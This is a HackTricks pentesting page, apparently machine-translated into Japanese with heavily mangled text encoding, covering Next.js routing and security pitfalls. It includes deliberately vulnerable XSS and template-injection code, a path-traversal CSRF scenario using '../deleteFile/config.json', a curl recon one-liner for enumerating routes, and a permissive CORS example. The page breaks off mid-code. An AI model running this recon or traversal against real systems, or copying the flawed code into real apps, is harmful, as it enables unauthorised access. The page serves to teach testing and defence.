NextJS
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Next.js ã¢ããªã±ãŒã·ã§ã³ã®äžè¬çãªã¢ãŒããã¯ãã£
å žåçãªãã¡ã€ã«æ§æ
æšæºç㪠Next.js ãããžã§ã¯ãã¯ãã«ãŒãã£ã³ã°ãAPIãšã³ããã€ã³ããéçã¢ã»ããã®ç®¡çãªã©ã®æ©èœã容æã«ããç¹å®ã®ãã¡ã€ã«ããã³ãã£ã¬ã¯ããªæ§é ã«åŸããŸãã以äžã¯å žåçãªã¬ã€ã¢ãŠãã§ã:
my-nextjs-app/
âââ node_modules/
âââ public/
â âââ images/
â â âââ logo.png
â âââ favicon.ico
âââ app/
â âââ api/
â â âââ hello/
â â âââ route.ts
â âââ layout.tsx
â âââ page.tsx
â âââ about/
â â âââ page.tsx
â âââ dashboard/
â â âââ layout.tsx
â â âââ page.tsx
â âââ components/
â â âââ Header.tsx
â â âââ Footer.tsx
â âââ styles/
â â âââ globals.css
â â âââ Home.module.css
â âââ utils/
â âââ api.ts
âââ .env.local
âââ next.config.js
âââ tsconfig.json
âââ package.json
âââ README.md
âââ yarn.lock / package-lock.json
äž»èŠãªãã£ã¬ã¯ããªãšãã¡ã€ã«
- public/: ç»åããã©ã³ãããã®ä»ã®éçã¢ã»ããããã¹ãããŸããããã«ãããã¡ã€ã«ã¯ã«ãŒããã¹ïŒ
/ïŒã§ã¢ã¯ã»ã¹å¯èœã§ãã - app/: ã¢ããªã±ãŒã·ã§ã³ã®ããŒãžãã¬ã€ã¢ãŠããã³ã³ããŒãã³ããAPI ã«ãŒãã®äžæ žãã£ã¬ã¯ããªãApp Router ãã©ãã€ã ãæ¡çšããŠãããé«åºŠãªã«ãŒãã£ã³ã°æ©èœããµãŒããŒã»ã¯ã©ã€ã¢ã³ãã®ã³ã³ããŒãã³ãåé¢ãå¯èœã«ããŸãã
- app/layout.tsx: ã¢ããªã±ãŒã·ã§ã³ã®ã«ãŒãã¬ã€ã¢ãŠããå®çŸ©ãããã¹ãŠã®ããŒãžãã©ããããŠããããŒãããã¿ãŒãããã²ãŒã·ã§ã³ããŒãªã©ã®äžè²«ãã UI èŠçŽ ãæäŸããŸãã
- app/page.tsx: ã«ãŒã
/ã®ãšã³ããªãã€ã³ããšããŠæ©èœããããŒã ããŒãžãã¬ã³ããªã³ã°ããŸãã - app/[route]/page.tsx: éçããã³åçã«ãŒããåŠçããŸãã
app/å ã®åãã©ã«ãã¯ã«ãŒãã»ã°ã¡ã³ãã衚ãããã®ãã©ã«ãå ã®page.tsxããã®ã«ãŒãã®ã³ã³ããŒãã³ãã«å¯Ÿå¿ããŸãã - app/api/: API ã«ãŒããå«ã¿ãHTTP ãªã¯ãšã¹ããåŠçãããµãŒããŒã¬ã¹é¢æ°ãäœæã§ããŸãããããã®ã«ãŒãã¯åŸæ¥ã®
pages/apiãã£ã¬ã¯ããªã«ä»£ãããã®ã§ãã - app/components/: è€æ°ã®ããŒãžãã¬ã€ã¢ãŠãã§äœ¿ãåããåå©çšå¯èœãª React ã³ã³ããŒãã³ããæ ŒçŽããŸãã
- app/styles/: ã°ããŒãã«ãª CSS ãã¡ã€ã«ãã³ã³ããŒãã³ãã¹ã³ãŒãã® CSS Modules ãå«ã¿ãŸãã
- app/utils/: ãŠãŒãã£ãªãã£é¢æ°ããã«ããŒã¢ãžã¥ãŒã«ããã®ä»ã®é UI ããžãã¯ãå ±æããããã®ãã¡ã€ã«ãå«ã¿ãŸãã
- .env.local: ããŒã«ã«éçºç°å¢åºæã®ç°å¢å€æ°ãæ ŒçŽããŸãããããã®å€æ°ã¯ããŒãžã§ã³ç®¡çã«ã³ããããããŸããã
- next.config.js: webpack èšå®ãç°å¢å€æ°ãã»ãã¥ãªãã£èšå®ãªã© Next.js ã®æåãã«ã¹ã¿ãã€ãºããŸãã
- tsconfig.json: ãããžã§ã¯ãã® TypeScript èšå®ãæ§æããåãã§ãã¯ããã®ä»ã® TypeScript æ©èœãæå¹ã«ããŸãã
- package.json: ãããžã§ã¯ãã®äŸåé¢ä¿ãã¹ã¯ãªãããã¡ã¿ããŒã¿ã管çããŸãã
- README.md: ã»ããã¢ããæé ãäœ¿çšæ¹æ³ããã®ä»é¢é£æ å ±ãå«ããããžã§ã¯ãã®ããã¥ã¡ã³ããæäŸããŸãã
- yarn.lock / package-lock.json: ãããžã§ã¯ãã®äŸåé¢ä¿ãç¹å®ã®ããŒãžã§ã³ã«åºå®ããç°ãªãç°å¢éã§ã®ã€ã³ã¹ããŒã«ã®äžè²«æ§ãä¿èšŒããŸãã
Next.js ã«ãããã¯ã©ã€ã¢ã³ããµã€ã
app ãã£ã¬ã¯ããªã«ããããã¡ã€ã«ããŒã¹ã®ã«ãŒãã£ã³ã°
app ãã£ã¬ã¯ããªã¯ææ°ã® Next.js ããŒãžã§ã³ã«ãããã«ãŒãã£ã³ã°ã®åºç€ã§ãããã¡ã€ã«ã·ã¹ãã ãå©çšããŠã«ãŒããå®çŸ©ããããšã§ãã«ãŒã管çãçŽæçãã€ã¹ã±ãŒã©ãã«ã«ãªããŸãã
ã«ãŒããã¹ / ã®åŠç
ãã¡ã€ã«æ§æ:
my-nextjs-app/
âââ app/
â âââ layout.tsx
â âââ page.tsx
âââ public/
âââ next.config.js
âââ ...
Key Files:
app/page.tsx: ã«ãŒããã¹/ãžã®ãªã¯ãšã¹ããåŠçããŸããapp/layout.tsx: ã¢ããªã±ãŒã·ã§ã³ã®ã¬ã€ã¢ãŠããå®çŸ©ãããã¹ãŠã®ããŒãžãã©ããããŸãã
Implementation:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
説æ:
- Route Definition:
appãã£ã¬ã¯ããªçŽäžã®page.tsxãã¡ã€ã«ã/ã«ãŒãã«å¯Ÿå¿ããŸãã - Rendering: ãã®ã³ã³ããŒãã³ãã¯ããŒã ããŒãžã®ã³ã³ãã³ããã¬ã³ããªã³ã°ããŸãã
- Layout Integration:
HomePageã³ã³ããŒãã³ãã¯layout.tsxã§ã©ãããããŠãããããããŒãããã¿ãŒããã®ä»å ±éã®èŠçŽ ãå«ããããšãã§ããŸãã
ä»ã®éçãã¹ã®åŠç
äŸ: /about ã«ãŒã
ãã¡ã€ã«æ§æ:
arduinoCopy codemy-nextjs-app/
âââ app/
â âââ about/
â â âââ page.tsx
â âââ layout.tsx
â âââ page.tsx
âââ public/
âââ next.config.js
âââ ...
å®è£ ïŒ
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
説æ:
- ã«ãŒãå®çŸ©:
page.tsxãã¡ã€ã«ã¯aboutãã©ã«ãå ã«ããã/aboutã«ãŒãã«å¯Ÿå¿ããŸãã - ã¬ã³ããªã³ã°: ãã®ã³ã³ããŒãã³ã㯠about ããŒãžã®ã³ã³ãã³ããã¬ã³ããªã³ã°ããŸãã
åçã«ãŒã
åçã«ãŒãã¯ãå¯å€ã»ã°ã¡ã³ããå«ããã¹ãæ±ãããšãå¯èœã«ããID ã slug ãªã©ã®ãã©ã¡ãŒã¿ã«åºã¥ããŠã¢ããªã±ãŒã·ã§ã³ãã³ã³ãã³ãã衚瀺ã§ããããã«ããŸãã
äŸ: /posts/[id] ã«ãŒã
ãã¡ã€ã«æ§æ:
arduinoCopy codemy-nextjs-app/
âââ app/
â âââ posts/
â â âââ [id]/
â â âââ page.tsx
â âââ layout.tsx
â âââ page.tsx
âââ public/
âââ next.config.js
âââ ...
å®è£ :
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
説æïŒ
- åçã»ã°ã¡ã³ãïŒ
[id]ã¯ã«ãŒãå ã®åçã»ã°ã¡ã³ãã瀺ããURLããidãã©ã¡ãŒã¿ãååŸããŸãã - ãã©ã¡ãŒã¿ãžã®ã¢ã¯ã»ã¹ïŒ
paramsãªããžã§ã¯ãã«ã¯åçãã©ã¡ãŒã¿ãå«ãŸããŠãããã³ã³ããŒãã³ãå ããã¢ã¯ã»ã¹ã§ããŸãã - ã«ãŒããããã³ã°ïŒ
/posts/*ã«ãããããä»»æã®ãã¹ïŒäŸïŒ/posts/1ã/posts/abcçïŒã¯ãã®ã³ã³ããŒãã³ãã§åŠçãããŸãã
ãã¹ããããã«ãŒã
Next.js ã¯ãã¹ããããã«ãŒãã£ã³ã°ããµããŒãããŠããããã£ã¬ã¯ããªæ§æãåæ ããéå±€çãªã«ãŒãæ§é ãäœæã§ããŸãã
äŸïŒ /dashboard/settings/profile ã«ãŒã
ãã¡ã€ã«æ§æïŒ
arduinoCopy codemy-nextjs-app/
âââ app/
â âââ dashboard/
â â âââ settings/
â â â âââ profile/
â â â âââ page.tsx
â â âââ page.tsx
â âââ layout.tsx
â âââ page.tsx
âââ public/
âââ next.config.js
âââ ...
å®è£ ïŒ
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
説æ:
- æ·±ããã¹ã:
page.tsxãã¡ã€ã«ã¯dashboard/settings/profile/å ã«ããã/dashboard/settings/profileã«ãŒãã«å¯Ÿå¿ããŸãã - éå±€ã®åæ : ãã£ã¬ã¯ããªæ§é ã URL ãã¹ãåæ ããŠãããä¿å®æ§ãšæçæ§ãé«ããŸãã
ãã£ãããªãŒã«ã«ãŒã
ãã£ãããªãŒã«ã«ãŒãã¯è€æ°ã®ãã¹ããããã»ã°ã¡ã³ããæªç¥ã®ãã¹ãåŠçããã«ãŒãã£ã³ã°ã®æè»æ§ãæäŸããŸãã
äŸ: /* ã«ãŒã
ãã¡ã€ã«æ§æ:
my-nextjs-app/
âââ app/
â âââ [...slug]/
â â âââ page.tsx
â âââ layout.tsx
â âââ page.tsx
âââ public/
âââ next.config.js
âââ ...
å®è£ :
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
説æ:
- Catch-All Segment:
[...slug]ã¯æ®ãã®ãã¹ã»ã°ã¡ã³ããé åãšããŠãã£ããã£ããŸãã - Usage: ãŠãŒã¶ãŒçæãã¹ããã¹ããããã«ããŽãªãªã©ã®åçã«ãŒãã£ã³ã°ã·ããªãªãæ±ãã®ã«äŸ¿å©ã§ãã
- Route Matching:
/anything/hereã/foo/bar/bazã®ãããªãã¹ã¯ãã®ã³ã³ããŒãã³ãã§åŠçãããŸãã
ã¯ã©ã€ã¢ã³ãåŽã®æœåšçè匱æ§
Next.js ã¯å ç¢ãªåºç€ãæäŸããŸãããäžé©åãªã³ãŒãã£ã³ã°ãè匱æ§ãæãããšããããŸããäž»ãªã¯ã©ã€ã¢ã³ãåŽã®è匱æ§ã«ã¯æ¬¡ã®ãããªãã®ããããŸã:
Cross-Site Scripting (XSS)
XSS æ»æã¯ãæªæã®ããã¹ã¯ãªãããä¿¡é Œããããµã€ãã«æ³šå ¥ããããšçºçããŸããæ»æè ã¯ãŠãŒã¶ãŒã®ãã©ãŠã¶äžã§ã¹ã¯ãªãããå®è¡ããããŒã¿ãçãã ãããŠãŒã¶ãŒã«æã代ãã£ãŠæäœãè¡ã£ããã§ããŸãã
è匱ãªã³ãŒãã®äŸïŒ
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
ãªãè匱ãªã®ã: dangerouslySetInnerHTML ãä¿¡é Œã§ããªãå
¥åã§äœ¿çšãããšãæ»æè
ãæªæã®ããã¹ã¯ãªãããæ³šå
¥ã§ããŸãã
Client-Side Template Injection
ãŠãŒã¶ãŒå ¥åããã³ãã¬ãŒãå ã§é©åã«åŠçãããªãå Žåã«çºçããæ»æè ããã³ãã¬ãŒããåŒãæ³šå ¥ããŠå®è¡ã§ããããã«ãªããŸãã
è匱ãªã³ãŒãã®äŸ:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
ãªãè匱ãªã®ã: template ã data ã«æªæã®ããå
容ãå«ãŸããŠãããšãæå³ããªãã³ãŒãã®å®è¡ã«ã€ãªããå¯èœæ§ããããŸãã
Client Path Traversal
ããã¯ãæ»æè ãã¯ã©ã€ã¢ã³ãåŽã®ãã¹ãæäœããŠãCross-Site Request Forgery (CSRF) ã®ãããªæå³ããªãæäœãå®è¡ãããè匱æ§ã§ããserver-side path traversal ããµãŒãã®ãã¡ã€ã«ã·ã¹ãã ãçãã®ãšç°ãªããCSPT ã¯ã¯ã©ã€ã¢ã³ãåŽã®ä»çµã¿ãæªçšããŠæ£åœãª API ãªã¯ãšã¹ããæªæãããšã³ããã€ã³ããžè¿åãããããšã«çŠç¹ãåœãŠãŸãã
Example of Vulnerable Code:
Next.js ã¢ããªã±ãŒã·ã§ã³ããŠãŒã¶ã«ãã¡ã€ã«ã®ã¢ããããŒããšããŠã³ããŒããèš±å¯ããŠããŸããããŠã³ããŒãæ©èœã¯ã¯ã©ã€ã¢ã³ãåŽã§å®è£ ãããŠããããŠãŒã¶ãããŠã³ããŒããããã¡ã€ã«ã®ãã¹ãæå®ã§ããŸãã
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
æ»æã·ããªãª
- æ»æè
ã®ç®ç: CSRFæ»æãå®è¡ãã
filePathãæäœããŠéèŠãªãã¡ã€ã«ïŒäŸ:admin/config.jsonïŒãåé€ããã - CSPTã®æªçš:
- æªæããå
¥å: æ»æè
ã¯
../deleteFile/config.jsonã®ãããªæ¹ãããããfilePathãå«ãURLãäœæããã - çºçããAPIã³ãŒã«: ã¯ã©ã€ã¢ã³ãåŽã®ã³ãŒãã
/api/files/../deleteFile/config.jsonãžã®ãªã¯ãšã¹ããè¡ãã - ãµãŒããŒã®åŠç: ãµãŒããŒã
filePathãæ€èšŒããªãå Žåããªã¯ãšã¹ããåŠçããæ©å¯ãã¡ã€ã«ãåé€ãŸãã¯é²åºãããå¯èœæ§ãããã
- CSRF ã®å®è¡:
- ä»çµãŸãããªã³ã¯: æ»æè
ã¯è¢«å®³è
ã«ãæ¹ããããã
filePathã䜿ã£ãŠããŠã³ããŒããªã¯ãšã¹ããããªã¬ãŒãããªã³ã¯ãéãããæªæããã¹ã¯ãªãããåã蟌ãã - çµæ: 被害è ã¯æå³ãããã®æäœãå®è¡ããäžæ£ãªãã¡ã€ã«ã¢ã¯ã»ã¹ãåé€ãçºçããã
ãªãè匱ã
- å
¥åæ€èšŒã®æ¬ åŠ: ã¯ã©ã€ã¢ã³ãåŽãä»»æã®
filePathãèš±å¯ããŠãããpath traversal ãå¯èœã«ããã - ã¯ã©ã€ã¢ã³ãå
¥åãä¿¡é ŒããŠãã: ãµãŒããŒåŽã®APIã
filePathããµãã¿ã€ãºããã«ä¿¡é ŒããŠåŠçããã - æœåšçãªAPIã¢ã¯ã·ã§ã³: APIãšã³ããã€ã³ããç¶æ ã倿ŽããæäœïŒäŸ: ãã¡ã€ã«ã®åé€ã倿ŽïŒãè¡ãå ŽåãCSPT ãä»ããŠæªçšãããå¯èœæ§ãããã
Recon: _buildManifest ã䜿ã£ã static export ã®ã«ãŒãæ€åº
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and routeâchunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- çºèŠãããã¹ïŒäŸãã°
/docs,/docs/content/examples,/signinïŒã䜿çšããŠãèªèšŒãã¹ãããšã³ããã€ã³ãã®çºèŠãè¡ãã
Next.js ã®ãµãŒããŒãµã€ã
ãµãŒããŒãµã€ãã¬ã³ããªã³ã° (SSR)
ããŒãžã¯åãªã¯ãšã¹ãããšã«ãµãŒããŒåŽã§ã¬ã³ããªã³ã°ããããŠãŒã¶ãŒã¯å®å šã«ã¬ã³ããªã³ã°ãããHTMLãåãåããŸãããã®å Žåããªã¯ãšã¹ããåŠçããããã«ç¬èªã®ã«ã¹ã¿ã ãµãŒããŒãäœæããŠãã ããã
ãŠãŒã¹ã±ãŒã¹:
- é »ç¹ã«å€åããåçã³ã³ãã³ãã
- æ€çŽ¢ãšã³ãžã³ãå®å šã«ã¬ã³ããªã³ã°ãããããŒãžãã¯ããŒã«ã§ãããããSEOã®æé©åã
å®è£ :
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
éçãµã€ãçæ (SSG)
ããŒãžã¯ãã«ãæã«ããªã¬ã³ããªã³ã°ããããããããŒãæéãççž®ããããµãŒããŒè² è·ã軜æžãããŸãã
ãŠãŒã¹ã±ãŒã¹:
- é »ç¹ã«å€æŽãããªãã³ã³ãã³ãã
- ããã°ãããã¥ã¡ã³ããããŒã±ãã£ã³ã°ããŒãžã
å®è£ :
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
ãµãŒããŒã¬ã¹é¢æ° (API Routes)
Next.jsã§ã¯ãAPIãšã³ããã€ã³ãããµãŒããŒã¬ã¹é¢æ°ãšããŠäœæã§ããŸãããããã®é¢æ°ã¯å°çšãµãŒããŒãå¿ èŠãšããããªã³ããã³ãã§å®è¡ãããŸãã
ãŠãŒã¹ã±ãŒã¹:
- ãã©ãŒã éä¿¡ã®åŠçã
- ããŒã¿ããŒã¹ãšã®ããåãã
- ããŒã¿ã®åŠçããµãŒãããŒãã£APIãšã®çµ±åã
å®è£ :
Next.js 13ã§appãã£ã¬ã¯ããªãå°å
¥ãããããšã§ãã«ãŒãã£ã³ã°ãšAPIåŠçã¯ããæè»ãã€åŒ·åã«ãªããŸããããã®ã¢ãã³ãªã¢ãããŒãã¯ãã¡ã€ã«ããŒã¹ã®ã«ãŒãã£ã³ã°ã·ã¹ãã ãšå¯æ¥ã«æŽåãã€ã€ããµãŒããŒã³ã³ããŒãã³ããšã¯ã©ã€ã¢ã³ãã³ã³ããŒãã³ãã®ãµããŒããªã©ã®åŒ·åãããæ©èœãå°å
¥ããŸãã
åºæ¬çãªã«ãŒããã³ãã©
File Structure:
my-nextjs-app/
âââ app/
â âââ api/
â âââ hello/
â âââ route.js
âââ package.json
âââ ...
å®è£ :
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
説æ:
- å Žæ: APIã«ãŒãã¯
app/api/ãã£ã¬ã¯ããªã®äžã«é 眮ãããŸãã - ãã¡ã€ã«å: åAPIãšã³ããã€ã³ãã¯ããããã®ãã©ã«ãå
ã«
route.jsãŸãã¯route.tsãã¡ã€ã«ãå«ã¿ãŸãã - ãšã¯ã¹ããŒãããã颿°: åäžã® default export ã®ä»£ããã«ãç¹å®ã® HTTP ã¡ãœãã颿°ïŒäŸ:
GET,POSTïŒããšã¯ã¹ããŒãããŸãã - ã¬ã¹ãã³ã¹åŠç:
Responseã³ã³ã¹ãã©ã¯ã¿ã䜿ã£ãŠã¬ã¹ãã³ã¹ãè¿ããŸããããã«ããããããã¹ããŒã¿ã¹ã³ãŒãããã现ããå¶åŸ¡ã§ããŸãã
ä»ã®ãã¹ãã¡ãœããã®åŠçæ¹æ³:
ç¹å®ã® HTTP ã¡ãœããã®æ±ãæ¹
Next.js 13+ ã§ã¯ãåã route.js ãŸã㯠route.ts ãã¡ã€ã«å
ã«ç¹å®ã® HTTP ã¡ãœããçšã®ãã³ãã©ãå®çŸ©ã§ããã³ãŒããããåãããããæŽçãããŸãã
äŸ:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
説æïŒ
- è€æ°ã®ãšã¯ã¹ããŒãïŒ åHTTPã¡ãœãã (
GET,PUT,DELETE) ããšã«ç¬ç«ãã颿°ããšã¯ã¹ããŒããããã - ãã©ã¡ãŒã¿ïŒ 2çªç®ã®åŒæ°ã§
paramsçµç±ã§ã«ãŒããã©ã¡ãŒã¿ã«ã¢ã¯ã»ã¹ã§ããã - æ¡åŒµãããã¬ã¹ãã³ã¹ïŒ ã¬ã¹ãã³ã¹ãªããžã§ã¯ãããã詳现ã«å¶åŸ¡ã§ããããããŒãã¹ããŒã¿ã¹ã³ãŒããæ£ç¢ºã«ç®¡çã§ããã
Catch-All ãšãã¹ããããã«ãŒã
Next.js 13+ ã¯ãã£ãããªãŒã«ã«ãŒãããã¹ãããã API ã«ãŒããšãã£ãé«åºŠãªã«ãŒãã£ã³ã°æ©èœããµããŒãããŠãããããåçã§ã¹ã±ãŒã©ãã«ãª API æ§é ãå®çŸã§ããã
Catch-All ã«ãŒãã®äŸïŒ
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
説æ:
- æ§æ:
[...]ã¯ãã£ãããªãŒã«ã»ã°ã¡ã³ãã瀺ãããã¹ãŠã®ãã¹ãããããã¹ããã£ããã£ããŸãã - äœ¿çšæ³: å¯å€ã®ã«ãŒã深床ãåçã»ã°ã¡ã³ããåŠçããå¿ èŠããã APIs ã«äŸ¿å©ã§ãã
ãã¹ããããã«ãŒãã®äŸ:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
説æ:
- æ·±ããã¹ã: éå±€ç㪠API æ§é ãå¯èœã«ãããªãœãŒã¹éã®é¢ä¿ãåæ ããŸãã
- ãã©ã¡ãŒã¿ã¢ã¯ã»ã¹:
paramsãªããžã§ã¯ãã䜿ã£ãŠè€æ°ã®ã«ãŒããã©ã¡ãŒã¿ã«ç°¡åã«ã¢ã¯ã»ã¹ã§ããŸãã
Next.js 12 以åã® API ã«ãŒãã®æ±ã
pages ãã£ã¬ã¯ããªå
ã® API ã«ãŒã (Next.js 12 以å)
Next.js 13 ã app ãã£ã¬ã¯ããªãšæ¡åŒµãããã«ãŒãã£ã³ã°æ©èœãå°å
¥ããåã¯ãAPI ã«ãŒãã¯äž»ã« pages ãã£ã¬ã¯ããªå
ã§å®çŸ©ãããŠããŸããããã®æ¹æ³ã¯ Next.js 12 ããã³ãã以åã®ããŒãžã§ã³ã§ãåºã䜿ããããµããŒããããŠããŸãã
åºæ¬ç㪠API ã«ãŒã
ãã¡ã€ã«æ§æ:
goCopy codemy-nextjs-app/
âââ pages/
â âââ api/
â âââ hello.js
âââ package.json
âââ ...
å®è£ :
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
説æ:
- å Žæ: API ã«ãŒãã¯
pages/api/ãã£ã¬ã¯ããªã®äžã«é 眮ãããŸãã - ãšã¯ã¹ããŒã:
export defaultã䜿ã£ãŠãã³ãã©é¢æ°ãå®çŸ©ããŸãã - 颿°ã®ã·ã°ããã£: ãã³ãã©ã¯
req(HTTP ãªã¯ãšã¹ã) ãšres(HTTP ã¬ã¹ãã³ã¹) ãªããžã§ã¯ããåãåããŸãã - ã«ãŒãã£ã³ã°: ãã¡ã€ã«å (
hello.js) ã¯ãšã³ããã€ã³ã/api/helloã«å¯Ÿå¿ããŸãã
åç㪠API ã«ãŒã
ãã¡ã€ã«æ§æ:
bashCopy codemy-nextjs-app/
âââ pages/
â âââ api/
â âââ users/
â âââ [id].js
âââ package.json
âââ ...
å®è£ :
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
説æ:
- Dynamic Segments: è§æ¬åŒ§ (
[id].js) ã¯åçã«ãŒãã»ã°ã¡ã³ãã衚ããŸãã - Accessing Parameters:
req.query.idã䜿ã£ãŠåçãã©ã¡ãŒã¿ã«ã¢ã¯ã»ã¹ããŸãã - Handling Methods: æ¡ä»¶åå²ãçšããŠç°ãªã HTTP ã¡ãœããïŒ
GET,PUT,DELETEãªã©ïŒãåŠçããŸãã
ç°ãªã HTTP ã¡ãœããã®åŠç
åºæ¬ç㪠API route ã®äŸã¯åäžã®é¢æ°å ã§å šãŠã® HTTP ã¡ãœãããåŠçããŸãããå¯èªæ§ãšä¿å®æ§ãé«ããããã«åã¡ãœãããæç€ºçã«åŠçããããã«ã³ãŒããæ§æã§ããŸãã
äŸ:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
ãã¹ããã©ã¯ãã£ã¹:
- é¢å¿ã®åé¢: ç°ãªãHTTPã¡ãœããããšã®ããžãã¯ãæç¢ºã«åé¢ããã
- ã¬ã¹ãã³ã¹ã®äžè²«æ§: ã¯ã©ã€ã¢ã³ãåŽã§ã®åŠçã容æã«ãããããã¬ã¹ãã³ã¹æ§é ãäžè²«ãããã
- ãšã©ãŒãã³ããªã³ã°: ãµããŒããããŠããªãã¡ãœãããäºæããªããšã©ãŒãé©åã«åŠçããã
CORS èšå®
ã©ã®ãªãªãžã³ãAPIã«ãŒãã«ã¢ã¯ã»ã¹ã§ããããå¶åŸ¡ããCross-Origin Resource Sharing (CORS)ã®è匱æ§ã軜æžããã
æªãèšå®äŸ:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
泚æïŒCORS ã¯ãã¹ãŠã® API routes ã«ãããŠãèšå®ã§ããŸã 㯠middleware.ts ãã¡ã€ã«å
ã§è¡ããŸã:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
